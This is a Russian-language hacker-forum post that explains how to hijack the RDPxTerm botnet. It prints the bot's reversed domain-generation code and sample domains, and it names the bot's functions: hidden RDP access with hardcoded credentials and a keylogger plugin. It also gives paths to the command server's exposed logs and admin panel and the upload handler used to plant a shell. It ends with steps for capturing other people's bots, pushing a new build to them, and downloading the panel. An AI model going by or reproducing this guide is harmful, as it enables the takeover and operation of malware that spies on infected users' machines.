![[x59]ReV](../../_assets/img/avatar_banned_m_4816e2c5.png){kind=avatar}
Недавно мне на машину попал бот RDPxTerm версии 3.5.14, бот был декомпелирован без особых проблем.
Функционал бота:
Особого внимания заслуживает функция генерации серверов:
Как мы видим бот даже не проверяет кому пренадлежит сервер а отстукивается на сгенерированные им адреса.
Пример доменных имен:
Для угона подобного ботнета нам нужено:
Найдя ип сервера на который отстукивается бот была найденна и сама админка.
Как видим авторы не позаботились о правах доступа.
Найдя в логах пароль, попадаем в админку:
Заливка шелла:
1.
esss/xtfg.php
Проходит без особых проблем во вкладке UPLOADS.
1. Устанавливаем админ панель на свой сервер.(Оригинальная версия.)
2. Привязываем доменные имена на свой сервер.
3. Ждем отстука чужих ботов (отстук не мгновенный!)
4. Генерируем свой билд.
5.Заливаем ботам свой билд со своим уникальным диапазоном доменных имен.
В итоге получаем подобный Бот Нет.
Если тема интересна , могу снять видео.
priv8.ru
Функционал бота:
PHP:
- передает всю статистику о машине.
- устанавливает RDP плагин, в результате есть доступ к машине по rdp, причем текущего пользователя не выкидывает из сессии TermUser:TMPass32
- качается плагин MPК (KeyLoger)Особого внимания заслуживает функция генерации серверов:
Код:
void gen_host(int flag,BYTE* HOST)
{
static int ind;
unsigned int size;
if ( flag ) ++ind;
if (ind > 20 ) ind = 0;
if ( !ind ) ind = 13;
DWORD k=0x57986u * (ind + 5);
size = k % 7 + 9;
DWORD s = (size ^ 0x1F3) +k;
DWORD d = s % 3 + 5;
for (int i = 0; i < size; ++i ){
if ( i == d )
HOST[i] = 0xB1u;
else
HOST[i] = (s % 0x1Au + 0x20) ^ 0xA1;
s =s+ (i ^ 0x14B);
}
HOST[size] = 0x8Fu;
HOST[size+1] = 0xC8u;
HOST[size+2] = 0xCFu;
HOST[size+3] = 0;
for (int j = 0;j<(size+3); ++j) HOST[j] ^= 0xA1u;
for (int j=0;j<size;j++){
if (HOST[j]==0x10){
HOST[j]+=0x1D;
}else{
HOST[j]+='A';
}
}
}Как мы видим бот даже не проверяет кому пренадлежит сервер а отстукивается на сгенерированные им адреса.
Пример доменных имен:
Код:
qjbsif-wqblucrf.in
ibtkaxt-itdmu.in
sldukh-ysdn.in
kdvmczv-k.in
dwofvs-jdoyhpe.in
vogxnkg-vgqz.in
fyqhxu-lfq.in
yrjaq-jeyjtckzn.in
...Для угона подобного ботнета нам нужено:
PHP:
- cервер
- зарегестрированные доменные имена
- админка ботнета
- билд.
Код:
_ttp://193.0.129.*4/esss/_xtcfg2/logs/access.log
_ttp://193.0.129.*4/esss/_xtcfg2/logs/bots.logНайдя в логах пароль, попадаем в админку:
PHP:
esss/admiral/adm.phpЗаливка шелла:
1.
esss/xtfg.php
PHP:
if((isset($_FILES['userfile']))&&(isset($_POST['dest']))){
$filepath=UPLOAD_DIR.'/'.safestr($_POST['dest']);
$error=$_FILES['userfile']['error'];
if(($error!=UPLOAD_ERR_PARTIAL)&&($error!=UPLOAD_E RR_OK)) die();
//echo "CCOPY ".$filepath."\n";
if(@file_put_contents($filepath,file_get_contents( $_FILES['userfile']['tmp_name']),FILE_APPEND)){
if($error==UPLOAD_ERR_OK) echo "#UPLOADED#";//protocol1. Устанавливаем админ панель на свой сервер.(Оригинальная версия.)
Код:
priv8.ru/rdp.tar.gz
[code]
расшифровал плагины из rdp\bbs\_xtcfg2\cabs для тех кто хочет модернизировать админку.
[code]
hххp://www.sendspace.com/file/u6ss11
Ahhash2cur1shaev0gei2. Привязываем доменные имена на свой сервер.
3. Ждем отстука чужих ботов (отстук не мгновенный!)
4. Генерируем свой билд.
5.Заливаем ботам свой билд со своим уникальным диапазоном доменных имен.
В итоге получаем подобный Бот Нет.
Если тема интересна , могу снять видео.
